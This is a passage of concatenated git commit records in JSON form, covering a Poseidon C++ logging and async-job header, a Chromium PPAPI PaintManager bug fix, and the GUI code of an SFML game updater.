__VA_ARGS__))\n\n#define POSEIDON_LOG_FATAL(...) POSEIDON_XLOG_(::poseidon::log_level_fatal, __VA_ARGS__)\n#define POSEIDON_LOG_ERROR(...) POSEIDON_XLOG_(::poseidon::log_level_error, __VA_ARGS__)\n#define POSEIDON_LOG_WARN(...) POSEIDON_XLOG_(::poseidon::log_level_warn, __VA_ARGS__)\n#define POSEIDON_LOG_INFO(...) POSEIDON_XLOG_(::poseidon::log_level_info, __VA_ARGS__)\n#define POSEIDON_LOG_DEBUG(...) POSEIDON_XLOG_(::poseidon::log_level_debug, __VA_ARGS__)\n#define POSEIDON_LOG_TRACE(...) POSEIDON_XLOG_(::poseidon::log_level_trace, __VA_ARGS__)\n\ntemplate<typename... ParamsT>\n[[noreturn]] ROCKET_NOINLINE\nbool\ndo_xthrow_format(const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\n {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n static constexpr auto level = log_level_warn;\n if(Async_Logger::is_enabled(level))\n Async_Logger::enqueue(level, file, line, func, \"POSEIDON_THROW: \" + text);\n\n \/\/ Throw the exception.\n ::rocket::sprintf_and_throw<::std::runtime_error>(\n \"%s: %s\\n[thrown from '%s:%ld']\",\n func, text.c_str(), file, line);\n }\n\n#define POSEIDON_THROW(...) \\\n (::poseidon::do_xthrow_format(__FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n\/\/ Creates an asynchronous timer. The timer function will be called by\n\/\/ the timer thread, so thread safety must be taken into account.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer(int64_t next, int64_t period, FuncT&& func)\n {\n \/\/ This is the concrete timer class.\n struct Concrete_Timer : Abstract_Timer\n {\n typename ::std::decay<FuncT>::type m_func;\n\n explicit\n Concrete_Timer(int64_t next, int64_t period, FuncT&& func)\n : Abstract_Timer(next, period),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_on_async_timer(int64_t now)\n override\n { this->m_func(now); }\n };\n\n \/\/ Allocate an abstract timer and insert it.\n auto timer = ::rocket::make_unique<Concrete_Timer>(next, period,\n ::std::forward<FuncT>(func));\n return Timer_Driver::insert(::std::move(timer));\n }\n\n\/\/ Creates a one-shot timer. The timer is deleted after being triggered.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_oneshot(int64_t next, FuncT&& func)\n {\n return noadl::create_async_timer(next, 0, ::std::forward<FuncT>(func));\n }\n\n\/\/ Creates a periodic timer.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_periodic(int64_t period, FuncT&& func)\n {\n return noadl::create_async_timer(period, period, ::std::forward<FuncT>(func));\n }\n\n\/\/ Enqueues an asynchronous job and returns a future to its result.\n\/\/ Functions with the same key will always be delivered to the same worker.\ntemplate<typename FuncT>\nfutp<typename ::std::result_of<FuncT ()>::type>\nenqueue_async_job_keyed(uintptr_t key, FuncT&& func)\n {\n \/\/ \/\/ This is the concrete function class.\n struct Concrete_Async_Job : Abstract_Async_Job\n {\n prom<typename ::std::result_of<FuncT ()>::type> m_prom;\n typename ::std::decay<FuncT>::type m_func;\n\n explicit\n Concrete_Async_Job(uintptr_t key, FuncT&& func)\n : Abstract_Async_Job(key),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_execute()\n override\n { this->m_prom.set_value(this->m_func()); }\n\n void\n do_set_exception(const ::std::exception_ptr& eptr)\n override\n { this->m_prom.set_exception(eptr); }\n };\n\n \/\/ Allocate a function object.\n auto async = ::rocket::make_unique<Concrete_Async_Job>(key,\n ::std::forward<FuncT>(func));\n auto futr = async->m_prom.future();\n Worker_Pool::insert(::std::move(async));\n return futr;\n }\n\n\/\/ Enqueues an asynchronous job and returns a future to its result.\n\/\/ The function is delivered to a random worker.\ntemplate<typename FuncT>\nfutp<typename ::std::result_of<FuncT ()>::type>\nenqueue_async_job_random(FuncT&& func)\n {\n \/\/ \/\/ This is the concrete function class.\n struct Concrete_Async_Job : Abstract_Async_Job\n {\n prom<typename ::std::result_of<FuncT ()>::type> m_prom;\n typename ::std::decay<FuncT>::type m_func;\n\n explicit\n Concrete_Async_Job(FuncT&& func)\n : Abstract_Async_Job(reinterpret_cast<uintptr_t>(this)),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_execute()\n override\n { this->m_prom.set_value(this->m_func()); }\n\n void\n do_set_exception(const ::std::exception_ptr& eptr)\n override\n { this->m_prom.set_exception(eptr); }\n };\n\n \/\/ Allocate a function object.\n auto async = ::rocket::make_unique<Concrete_Async_Job>(\n ::std::forward<FuncT>(func));\n auto futr = async->m_prom.future();\n Worker_Pool::insert(::std::move(async));\n return futr;\n }\n\n} \/\/ namespace asteria\n\n#endif\n<commit_msg>utilities: Reformat<commit_after>\/\/ This file is part of Poseidon.\n\/\/ Copyleft 2020, LH_Mouse. All wrongs reserved.\n\n#ifndef POSEIDON_UTILITIES_HPP_\n#define POSEIDON_UTILITIES_HPP_\n\n#include \"fwd.hpp\"\n#include \"static\/async_logger.hpp\"\n#include \"core\/abstract_timer.hpp\"\n#include \"static\/timer_driver.hpp\"\n#include \"core\/abstract_async_job.hpp\"\n#include \"core\/promise.hpp\"\n#include \"core\/future.hpp\"\n#include \"static\/worker_pool.hpp\"\n#include <asteria\/utilities.hpp>\n#include <cstdio>\n\nnamespace poseidon {\n\nusing ::asteria::utf8_encode;\nusing ::asteria::utf8_decode;\nusing ::asteria::utf16_encode;\nusing ::asteria::utf16_decode;\n\nusing ::asteria::format_string;\nusing ::asteria::weaken_enum;\nusing ::asteria::generate_random_seed;\nusing ::asteria::format_errno;\n\ntemplate<typename... ParamsT>\nROCKET_NOINLINE\nbool\ndo_xlog_format(Log_Level level, const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\nnoexcept\n try {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n Async_Logger::enqueue(level, file, line, func, ::std::move(text));\n return true;\n }\n catch(exception& stdex) {\n \/\/ Ignore this exception, but print a message.\n ::std::fprintf(stderr,\n \"WARNING: %s: could not format log: %s\\n[exception `%s` thrown from '%s:%ld'\\n\",\n func, stdex.what(), typeid(stdex).name(), file, line);\n return false;\n }\n\n\/\/ Note the format string must be a string literal.\n#define POSEIDON_XLOG_(level, ...) \\\n (::poseidon::Async_Logger::is_enabled(level) && \\\n ::poseidon::do_xlog_format(level, __FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n#define POSEIDON_LOG_FATAL(...) POSEIDON_XLOG_(::poseidon::log_level_fatal, __VA_ARGS__)\n#define POSEIDON_LOG_ERROR(...) POSEIDON_XLOG_(::poseidon::log_level_error, __VA_ARGS__)\n#define POSEIDON_LOG_WARN(...) POSEIDON_XLOG_(::poseidon::log_level_warn, __VA_ARGS__)\n#define POSEIDON_LOG_INFO(...) POSEIDON_XLOG_(::poseidon::log_level_info, __VA_ARGS__)\n#define POSEIDON_LOG_DEBUG(...) POSEIDON_XLOG_(::poseidon::log_level_debug, __VA_ARGS__)\n#define POSEIDON_LOG_TRACE(...) POSEIDON_XLOG_(::poseidon::log_level_trace, __VA_ARGS__)\n\ntemplate<typename... ParamsT>\n[[noreturn]] ROCKET_NOINLINE\nbool\ndo_xthrow_format(const char* file, long line, const char* func,\n const char* templ, const ParamsT&... params)\n {\n \/\/ Compose the message.\n ::rocket::tinyfmt_str fmt;\n format(fmt, templ, params...); \/\/ ADL intended\n auto text = fmt.extract_string();\n\n \/\/ Push a new log entry.\n static constexpr auto level = log_level_warn;\n if(Async_Logger::is_enabled(level))\n Async_Logger::enqueue(level, file, line, func, \"POSEIDON_THROW: \" + text);\n\n \/\/ Throw the exception.\n ::rocket::sprintf_and_throw<::std::runtime_error>(\n \"%s: %s\\n[thrown from '%s:%ld']\",\n func, text.c_str(), file, line);\n }\n\n#define POSEIDON_THROW(...) \\\n (::poseidon::do_xthrow_format(__FILE__, __LINE__, __func__, \\\n \"\" __VA_ARGS__))\n\n\/\/ Creates an asynchronous timer. The timer function will be called by\n\/\/ the timer thread, so thread safety must be taken into account.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer(int64_t next, int64_t period, FuncT&& func)\n {\n \/\/ This is the concrete timer class.\n struct Concrete_Timer : Abstract_Timer\n {\n typename ::std::decay<FuncT>::type m_func;\n\n explicit\n Concrete_Timer(int64_t next, int64_t period, FuncT&& func)\n : Abstract_Timer(next, period),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_on_async_timer(int64_t now)\n override\n { this->m_func(now); }\n };\n\n \/\/ Allocate an abstract timer and insert it.\n auto timer = ::rocket::make_unique<Concrete_Timer>(next, period,\n ::std::forward<FuncT>(func));\n return Timer_Driver::insert(::std::move(timer));\n }\n\n\/\/ Creates a one-shot timer. The timer is deleted after being triggered.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_oneshot(int64_t next, FuncT&& func)\n {\n return noadl::create_async_timer(next, 0, ::std::forward<FuncT>(func));\n }\n\n\/\/ Creates a periodic timer.\ntemplate<typename FuncT>\nrcptr<Abstract_Timer>\ncreate_async_timer_periodic(int64_t period, FuncT&& func)\n {\n return noadl::create_async_timer(period, period, ::std::forward<FuncT>(func));\n }\n\n\/\/ Enqueues an asynchronous job and returns a future to its result.\n\/\/ Functions with the same key will always be delivered to the same worker.\ntemplate<typename FuncT>\nfutp<typename ::std::result_of<FuncT ()>::type>\nenqueue_async_job_keyed(uintptr_t key, FuncT&& func)\n {\n \/\/ \/\/ This is the concrete function class.\n struct Concrete_Async_Job : Abstract_Async_Job\n {\n prom<typename ::std::result_of<FuncT ()>::type> m_prom;\n typename ::std::decay<FuncT>::type m_func;\n\n explicit\n Concrete_Async_Job(uintptr_t key, FuncT&& func)\n : Abstract_Async_Job(key),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_execute()\n override\n { this->m_prom.set_value(this->m_func()); }\n\n void\n do_set_exception(const ::std::exception_ptr& eptr)\n override\n { this->m_prom.set_exception(eptr); }\n };\n\n \/\/ Allocate a function object.\n auto async = ::rocket::make_unique<Concrete_Async_Job>(key,\n ::std::forward<FuncT>(func));\n auto futr = async->m_prom.future();\n Worker_Pool::insert(::std::move(async));\n return futr;\n }\n\n\/\/ Enqueues an asynchronous job and returns a future to its result.\n\/\/ The function is delivered to a random worker.\ntemplate<typename FuncT>\nfutp<typename ::std::result_of<FuncT ()>::type>\nenqueue_async_job_random(FuncT&& func)\n {\n \/\/ \/\/ This is the concrete function class.\n struct Concrete_Async_Job : Abstract_Async_Job\n {\n prom<typename ::std::result_of<FuncT ()>::type> m_prom;\n typename ::std::decay<FuncT>::type m_func;\n\n explicit\n Concrete_Async_Job(FuncT&& func)\n : Abstract_Async_Job(reinterpret_cast<uintptr_t>(this)),\n m_func(::std::forward<FuncT>(func))\n { }\n\n void\n do_execute()\n override\n { this->m_prom.set_value(this->m_func()); }\n\n void\n do_set_exception(const ::std::exception_ptr& eptr)\n override\n { this->m_prom.set_exception(eptr); }\n };\n\n \/\/ Allocate a function object.\n auto async = ::rocket::make_unique<Concrete_Async_Job>(\n ::std::forward<FuncT>(func));\n auto futr = async->m_prom.future();\n Worker_Pool::insert(::std::move(async));\n return futr;\n }\n\n} \/\/ namespace asteria\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ppapi\/cpp\/paint_manager.h\"\n\n#include \"ppapi\/c\/pp_errors.h\"\n#include \"ppapi\/cpp\/instance.h\"\n#include \"ppapi\/cpp\/logging.h\"\n#include \"ppapi\/cpp\/module.h\"\n\nnamespace pp {\n\nPaintManager::PaintManager()\n : instance_(NULL),\n client_(NULL),\n is_always_opaque_(false),\n callback_factory_(NULL) {\n \/\/ Set the callback object outside of the initializer list to avoid a\n \/\/ compiler warning about using \"this\" in an initializer list.\n callback_factory_.Initialize(this);\n}\n\nPaintManager::PaintManager(Instance* instance,\n Client* client,\n bool is_always_opaque)\n : instance_(instance),\n client_(client),\n is_always_opaque_(is_always_opaque),\n callback_factory_(NULL) {\n \/\/ Set the callback object outside of the initializer list to avoid a\n \/\/ compiler warning about using \"this\" in an initializer list.\n callback_factory_.Initialize(this);\n\n \/\/ You can not use a NULL client pointer.\n PP_DCHECK(client);\n}\n\nPaintManager::~PaintManager() {\n}\n\nvoid PaintManager::Initialize(Instance* instance,\n Client* client,\n bool is_always_opaque) {\n PP_DCHECK(!instance_ && !client_); \/\/ Can't initialize twice.\n instance_ = instance;\n client_ = client;\n is_always_opaque_ = is_always_opaque;\n}\n\nvoid PaintManager::SetSize(const Size& new_size) {\n if (new_size == graphics_.size())\n return;\n\n graphics_ = Graphics2D(new_size, is_always_opaque_);\n if (graphics_.is_null())\n return;\n instance_->BindGraphics(graphics_);\n\n manual_callback_pending_ = false;\n flush_pending_ = false;\n callback_factory_.CancelAll();\n\n Invalidate();\n}\n\nvoid PaintManager::Invalidate() {\n \/\/ You must call SetDevice before using.\n PP_DCHECK(!graphics_.is_null());\n\n EnsureCallbackPending();\n aggregator_.InvalidateRect(Rect(graphics_.size()));\n}\n\nvoid PaintManager::InvalidateRect(const Rect& rect) {\n \/\/ You must call SetDevice before using.\n PP_DCHECK(!graphics_.is_null());\n\n \/\/ Clip the rect to the device area.\n Rect clipped_rect = rect.Intersect(Rect(graphics_.size()));\n if (clipped_rect.IsEmpty())\n return; \/\/ Nothing to do.\n\n EnsureCallbackPending();\n aggregator_.InvalidateRect(clipped_rect);\n}\n\nvoid PaintManager::ScrollRect(const Rect& clip_rect, const Point& amount) {\n \/\/ You must call SetDevice before using.\n PP_DCHECK(!graphics_.is_null());\n\n EnsureCallbackPending();\n aggregator_.ScrollRect(clip_rect, amount);\n}\n\nvoid PaintManager::EnsureCallbackPending() {\n \/\/ The best way for us to do the next update is to get a notification that\n \/\/ a previous one has completed. So if we're already waiting for one, we\n \/\/ don't have to do anything differently now.\n if (flush_pending_)\n return;\n\n \/\/ If no flush is pending, we need to do a manual call to get back to the\n \/\/ main thread. We may have one already pending, or we may need to schedule.\n if (manual_callback_pending_)\n return;\n\n Module::Get()->core()->CallOnMainThread(\n 0,\n callback_factory_.NewCallback(&PaintManager::OnManualCallbackComplete),\n 0);\n manual_callback_pending_ = true;\n}\n\nvoid PaintManager::DoPaint() {\n PP_DCHECK(aggregator_.HasPendingUpdate());\n\n \/\/ Make a copy of the pending update and clear the pending update flag before\n \/\/ actually painting. A plugin might cause invalidates in its Paint code, and\n \/\/ we want those to go to the *next* paint.\n PaintAggregator::PaintUpdate update = aggregator_.GetPendingUpdate();\n aggregator_.ClearPendingUpdate();\n\n \/\/ Apply any scroll before asking the client to paint.\n if (update.has_scroll)\n graphics_.Scroll(update.scroll_rect, update.scroll_delta);\n\n if (!client_->OnPaint(graphics_, update.paint_rects, update.paint_bounds))\n return; \/\/ Nothing was painted, don't schedule a flush.\n\n int32_t result = graphics_.Flush(\n callback_factory_.NewCallback(&PaintManager::OnFlushComplete));\n\n \/\/ If you trigger this assertion, then your plugin has called Flush()\n \/\/ manually. When using the PaintManager, you should not call Flush, it will\n \/\/ handle that for you because it needs to know when it can do the next paint\n \/\/ by implementing the flush callback.\n \/\/\n \/\/ Another possible cause of this assertion is re-using devices. If you\n \/\/ use one device, swap it with another, then swap it back, we won't know\n \/\/ that we've already scheduled a Flush on the first device. It's best to not\n \/\/ re-use devices in this way.\n PP_DCHECK(result != PP_ERROR_INPROGRESS);\n\n if (result == PP_ERROR_WOULDBLOCK) {\n flush_pending_ = true;\n } else {\n PP_DCHECK(result == PP_OK); \/\/ Catch all other errors in debug mode.\n }\n}\n\nvoid PaintManager::OnFlushComplete(int32_t) {\n PP_DCHECK(flush_pending_);\n flush_pending_ = false;\n\n \/\/ If more paints were enqueued while we were waiting for the flush to\n \/\/ complete, execute them now.\n if (aggregator_.HasPendingUpdate())\n DoPaint();\n}\n\nvoid PaintManager::OnManualCallbackComplete(int32_t) {\n PP_DCHECK(manual_callback_pending_);\n manual_callback_pending_ = false;\n\n \/\/ Just because we have a manual callback doesn't mean there are actually any\n \/\/ invalid regions. Even though we only schedule this callback when something\n \/\/ is pending, a Flush callback could have come in before this callback was\n \/\/ executed and that could have cleared the queue.\n if (aggregator_.HasPendingUpdate())\n DoPaint();\n}\n\n} \/\/ namespace pp\n<commit_msg>Fix some bugs in paint manager. Some of the class members were not getting initialized in the constructor.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ppapi\/cpp\/paint_manager.h\"\n\n#include \"ppapi\/c\/pp_errors.h\"\n#include \"ppapi\/cpp\/instance.h\"\n#include \"ppapi\/cpp\/logging.h\"\n#include \"ppapi\/cpp\/module.h\"\n\nnamespace pp {\n\nPaintManager::PaintManager()\n : instance_(NULL),\n client_(NULL),\n is_always_opaque_(false),\n callback_factory_(NULL),\n manual_callback_pending_(false),\n flush_pending_(false) {\n \/\/ Set the callback object outside of the initializer list to avoid a\n \/\/ compiler warning about using \"this\" in an initializer list.\n callback_factory_.Initialize(this);\n}\n\nPaintManager::PaintManager(Instance* instance,\n Client* client,\n bool is_always_opaque)\n : instance_(instance),\n client_(client),\n is_always_opaque_(is_always_opaque),\n callback_factory_(NULL),\n manual_callback_pending_(false),\n flush_pending_(false) {\n \/\/ Set the callback object outside of the initializer list to avoid a\n \/\/ compiler warning about using \"this\" in an initializer list.\n callback_factory_.Initialize(this);\n\n \/\/ You can not use a NULL client pointer.\n PP_DCHECK(client);\n}\n\nPaintManager::~PaintManager() {\n}\n\nvoid PaintManager::Initialize(Instance* instance,\n Client* client,\n bool is_always_opaque) {\n PP_DCHECK(!instance_ && !client_); \/\/ Can't initialize twice.\n instance_ = instance;\n client_ = client;\n is_always_opaque_ = is_always_opaque;\n}\n\nvoid PaintManager::SetSize(const Size& new_size) {\n if (new_size == graphics_.size())\n return;\n\n graphics_ = Graphics2D(new_size, is_always_opaque_);\n if (graphics_.is_null())\n return;\n instance_->BindGraphics(graphics_);\n\n manual_callback_pending_ = false;\n flush_pending_ = false;\n callback_factory_.CancelAll();\n\n Invalidate();\n}\n\nvoid PaintManager::Invalidate() {\n \/\/ You must call SetDevice before using.\n PP_DCHECK(!graphics_.is_null());\n\n EnsureCallbackPending();\n aggregator_.InvalidateRect(Rect(graphics_.size()));\n}\n\nvoid PaintManager::InvalidateRect(const Rect& rect) {\n \/\/ You must call SetDevice before using.\n PP_DCHECK(!graphics_.is_null());\n\n \/\/ Clip the rect to the device area.\n Rect clipped_rect = rect.Intersect(Rect(graphics_.size()));\n if (clipped_rect.IsEmpty())\n return; \/\/ Nothing to do.\n\n EnsureCallbackPending();\n aggregator_.InvalidateRect(clipped_rect);\n}\n\nvoid PaintManager::ScrollRect(const Rect& clip_rect, const Point& amount) {\n \/\/ You must call SetDevice before using.\n PP_DCHECK(!graphics_.is_null());\n\n EnsureCallbackPending();\n aggregator_.ScrollRect(clip_rect, amount);\n}\n\nvoid PaintManager::EnsureCallbackPending() {\n \/\/ The best way for us to do the next update is to get a notification that\n \/\/ a previous one has completed. So if we're already waiting for one, we\n \/\/ don't have to do anything differently now.\n if (flush_pending_)\n return;\n\n \/\/ If no flush is pending, we need to do a manual call to get back to the\n \/\/ main thread. We may have one already pending, or we may need to schedule.\n if (manual_callback_pending_)\n return;\n\n Module::Get()->core()->CallOnMainThread(\n 0,\n callback_factory_.NewCallback(&PaintManager::OnManualCallbackComplete),\n 0);\n manual_callback_pending_ = true;\n}\n\nvoid PaintManager::DoPaint() {\n PP_DCHECK(aggregator_.HasPendingUpdate());\n\n \/\/ Make a copy of the pending update and clear the pending update flag before\n \/\/ actually painting. A plugin might cause invalidates in its Paint code, and\n \/\/ we want those to go to the *next* paint.\n PaintAggregator::PaintUpdate update = aggregator_.GetPendingUpdate();\n aggregator_.ClearPendingUpdate();\n\n \/\/ Apply any scroll before asking the client to paint.\n if (update.has_scroll)\n graphics_.Scroll(update.scroll_rect, update.scroll_delta);\n\n if (!client_->OnPaint(graphics_, update.paint_rects, update.paint_bounds))\n return; \/\/ Nothing was painted, don't schedule a flush.\n\n int32_t result = graphics_.Flush(\n callback_factory_.NewCallback(&PaintManager::OnFlushComplete));\n\n \/\/ If you trigger this assertion, then your plugin has called Flush()\n \/\/ manually. When using the PaintManager, you should not call Flush, it will\n \/\/ handle that for you because it needs to know when it can do the next paint\n \/\/ by implementing the flush callback.\n \/\/\n \/\/ Another possible cause of this assertion is re-using devices. If you\n \/\/ use one device, swap it with another, then swap it back, we won't know\n \/\/ that we've already scheduled a Flush on the first device. It's best to not\n \/\/ re-use devices in this way.\n PP_DCHECK(result != PP_ERROR_INPROGRESS);\n\n if (result == PP_ERROR_WOULDBLOCK) {\n flush_pending_ = true;\n } else {\n PP_DCHECK(result == PP_OK); \/\/ Catch all other errors in debug mode.\n }\n}\n\nvoid PaintManager::OnFlushComplete(int32_t) {\n PP_DCHECK(flush_pending_);\n flush_pending_ = false;\n\n \/\/ If more paints were enqueued while we were waiting for the flush to\n \/\/ complete, execute them now.\n if (aggregator_.HasPendingUpdate())\n DoPaint();\n}\n\nvoid PaintManager::OnManualCallbackComplete(int32_t) {\n PP_DCHECK(manual_callback_pending_);\n manual_callback_pending_ = false;\n\n \/\/ Just because we have a manual callback doesn't mean there are actually any\n \/\/ invalid regions. Even though we only schedule this callback when something\n \/\/ is pending, a Flush callback could have come in before this callback was\n \/\/ executed and that could have cleared the queue.\n if (aggregator_.HasPendingUpdate() && !flush_pending_)\n DoPaint();\n}\n\n} \/\/ namespace pp\n<|endoftext|>"} {"text":"<commit_before>#include \"main.hpp\"\n\nint main()\n{\n\tstd::ofstream out(\"log.txt\");\n\tstd::streambuf *coutbuf = std::cout.rdbuf();\n\tstd::cout.rdbuf(out.rdbuf());\n\n\tfn::Coord::width = 800; fn::Coord::height = 600;\n\tfn::Coord::baseWidth = 800; fn::Coord::baseHeight = 600;\n\tsf::RenderWindow window(sf::VideoMode(800, 600), \"\", sf::Style::None);\n\twindow.setMouseCursorVisible(false);\n\tsf::RectangleShape windowBorder(sf::Vector2f(798, 598));\n\twindowBorder.setPosition(1, 1); windowBorder.setFillColor(sf::Color(40, 40, 40)); windowBorder.setOutlineColor(sf::Color::White); windowBorder.setOutlineThickness(1);\n\tsf::Vertex linetop[] = { sf::Vertex(sf::Vector2f(0, 60)), sf::Vertex(sf::Vector2f(800, 60)) };\n\tsf::Vertex linemiddle[] = { sf::Vertex(sf::Vector2f(0, 450)), sf::Vertex(sf::Vector2f(800, 450)) };\n\tsf::Vertex linebottom[] = { sf::Vertex(sf::Vector2f(0, 550)), sf::Vertex(sf::Vector2f(800, 550)) };\n\n\tsf::Event sfevent;\n\tGUI::Container gui(&sfevent, &window, 800, 600);\n\tGUI::WidgetContainer* mainContainer = gui.createWidgetContainer(\"main\", 1, 0, 0, 800, 600, GUI::ContainerMovement::Fixed, 0, 0);\n\tGUI::WidgetContainer* infoContainer = gui.createWidgetContainer(\"info\", 1, 0, 60, 800, 390, GUI::ContainerMovement::Fixed, 0, 0);\n\tGUI::WidgetContainer* stgsContainer = gui.createWidgetContainer(\"stgs\", 1, 0, 60, 800, 390, GUI::ContainerMovement::Fixed, 0, 0);\n\tGUI::WidgetContainer* logsContainer = gui.createWidgetContainer(\"logs\", 1, 0, 450, 800, 100, GUI::ContainerMovement::Fixed, 0, 0);\n\n\tCursor curs;\n\tcurs.initialize(&window);\n\n\tsf::Font font;\n\tfont.loadFromFile(\"Data\/Fonts\/weblysleekuil.ttf\");\n\n\n\n\t\/\/Main UI\n\tgui.createLabel(\"main\", \"titleLbl\", 10, 10, \"Melting Saga Updater\", \"weblysleekuil.ttf\", 32, sf::Color::White);\n\tgui.createLabel(\"main\", \"updaterVerLbl\", 400, 10, \"Updater : <Nightly> v1.0.5\", \"weblysleekuil.ttf\", 12, sf::Color::White);\n\tgui.createLabel(\"main\", \"updaterVerLbl\", 400, 30, \"Game : <Nightly> v0.0.1\", \"weblysleekuil.ttf\", 12, sf::Color::White);\n\tgui.createCheckbox(\"main\", \"settingsBtn\", 700, 15, \"SETTINGS\", false);\n\tgui.createButton(\"main\", \"quitBtn\", 750, 15, true, true, \"QUIT\");\n\tgui.createButton(\"main\", \"updateBtn\", 600, 560, true, true, \"GREY\");\n\tgui.createLoadingBar(\"main\", \"updateBar\", 10, 560, \"UPDATER\");\n\tgui.createLabel(\"main\", \"updateBarLbl\", 300, 560, \"80%\", \"weblysleekuil.ttf\", 24, sf::Color::White);\n\n\t\/\/Infos UI\n\tgui.createLabel(\"info\", \"updateInfosTitleLbl\", 10, 10, \"Update Informations : \", \"weblysleekuil.ttf\", 24, sf::Color::Cyan);\n\tgui.createLabel(\"info\", \"updateInfosContLbl\", 30, 45, \"\", \"weblysleekuil.ttf\", 16, sf::Color::White);\n\tstd::ifstream changelogFile(\"changelog.txt\");\n\tstd::string updateContent((std::istreambuf_iterator<char>(changelogFile)),\n\t\tstd::istreambuf_iterator<char>());\n\tGUI::Widget::getWidgetByID<GUI::Label>(\"updateInfosContLbl\")->setComplexText(updateContent);\n\tinfoContainer->addScrollBar();\n\tgui.createScrollBar(\"info\", \"updateScrollBar\", 790, 0, 400, 50, false, infoContainer, \"V2\");\n\tGUI::Widget::getWidgetByID<GUI::ScrollBar>(\"updateScrollBar\")->computeDynamicScroll();\n\n\t\/\/Settings UI\n\tgui.createLabel(\"stgs\", \"settingsTitleLbl\", 10, 10, \"Settings : \", \"weblysleekuil.ttf\", 24, sf::Color::Cyan);\n\n\t\/\/Logs UI\n\tgui.createLabel(\"logs\", \"logsTitleLbl\", 10, 10, \"Logs : \", \"weblysleekuil.ttf\", 24, sf::Color::Cyan);\n\tgui.createLabel(\"logs\", \"logsContLbl\", 10, 45, \"lolibork\", \"weblysleekuil.ttf\", 16, sf::Color::White);\n\tGUI::Widget::getWidgetByID<GUI::Label>(\"logsContLbl\")->setComplexText(\"<color:255,255,255>Connection to MeSa Server : 132.14.88.22:9022 [ \"\n\t\t\"<color:0,255,0>Done\"\n\t\t\"<color:255,255,255> ]\\n\"\n\t\t\"GET : changelog.txt 200 OK [ \"\n\t\t\"<color:0,255,0>Done\"\n\t\t\"<color:255,255,255> ]\\n\");\n\n\n\tGUI::ButtonEvent* appQuitBool = GUI::Widget::getWidgetByID<GUI::Button>(\"quitBtn\")->getHook();\n\tbool* appSettingsBool = GUI::Widget::getWidgetByID<GUI::Checkbox>(\"settingsBtn\")->getHook();\n\tGUI::Widget::getWidgetByID<GUI::Button>(\"updateBtn\")->setText(\"Update\", \"weblysleekuil.ttf\", sf::Color::White, 18, true, 0, -3);\n\tGUI::Widget::getWidgetByID<GUI::LoadingBar>(\"updateBar\")->fill(80, 2);\n\tsf::Vector2i grabbedOffset;\n\n\tbool grabbedWindow = false;\n\twhile (window.isOpen())\n\t{\n\t\twhile (window.pollEvent(sfevent))\n\t\t{\n\t\t\tif (sfevent.type == sf::Event::Closed)\n\t\t\t\twindow.close();\n\t\t\telse if (sfevent.type == sf::Event::KeyPressed)\n\t\t\t{\n\t\t\t\tif (sfevent.key.code == sf::Keyboard::Escape)\n\t\t\t\t\twindow.close();\n\t\t\t}\n\t\t\telse if (sfevent.type == sf::Event::MouseButtonPressed)\n\t\t\t{\n\t\t\t\tif (sf::Mouse::getPosition().y - window.getPosition().y < 60 && sf::Mouse::getPosition().x - window.getPosition().x < 680)\n\t\t\t\t{\n\t\t\t\t\tif (sfevent.mouseButton.button == sf::Mouse::Left)\n\t\t\t\t\t{\n\t\t\t\t\t\tgrabbedOffset = window.getPosition() - sf::Mouse::getPosition();\n\t\t\t\t\t\tgrabbedWindow = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (sfevent.type == sf::Event::MouseButtonReleased)\n\t\t\t{\n\t\t\t\tif (sfevent.mouseButton.button == sf::Mouse::Left)\n\t\t\t\t\tgrabbedWindow = false;\n\t\t\t}\n\t\t\telse if (sfevent.type == sf::Event::MouseMoved)\n\t\t\t{\n\t\t\t\tif (grabbedWindow)\n\t\t\t\t\twindow.setPosition(sf::Mouse::getPosition() + grabbedOffset);\n\t\t\t}\n\t\t}\n\t\t\n\t\tgui.updateAllContainer();\n\t\tcurs.update();\n\t\tif (*appQuitBool == GUI::ButtonEvent::Pressed) {window.close();}\n\t\tif (*appSettingsBool) { gui.getContainerByContainerName(\"info\")->setDisplayed(false); gui.getContainerByContainerName(\"stgs\")->setDisplayed(true); }\n\t\telse { gui.getContainerByContainerName(\"info\")->setDisplayed(true); gui.getContainerByContainerName(\"stgs\")->setDisplayed(false); }\n\n\t\twindow.clear(sf::Color(40, 40, 40));\n\t\twindow.draw(windowBorder);\n\t\tgui.drawAllContainer(&window);\n\t\twindow.draw(linetop, 2, sf::Lines); window.draw(linemiddle, 2, sf::Lines); window.draw(linebottom, 2, sf::Lines);\n\t\twindow.draw(*curs.getSprite());\n\t\twindow.display();\n\t}\n}<commit_msg>Removed double scrollbar<commit_after>#include \"main.hpp\"\n\nint main()\n{\n\tstd::ofstream out(\"log.txt\");\n\tstd::streambuf *coutbuf = std::cout.rdbuf();\n\tstd::cout.rdbuf(out.rdbuf());\n\n\tfn::Coord::width = 800; fn::Coord::height = 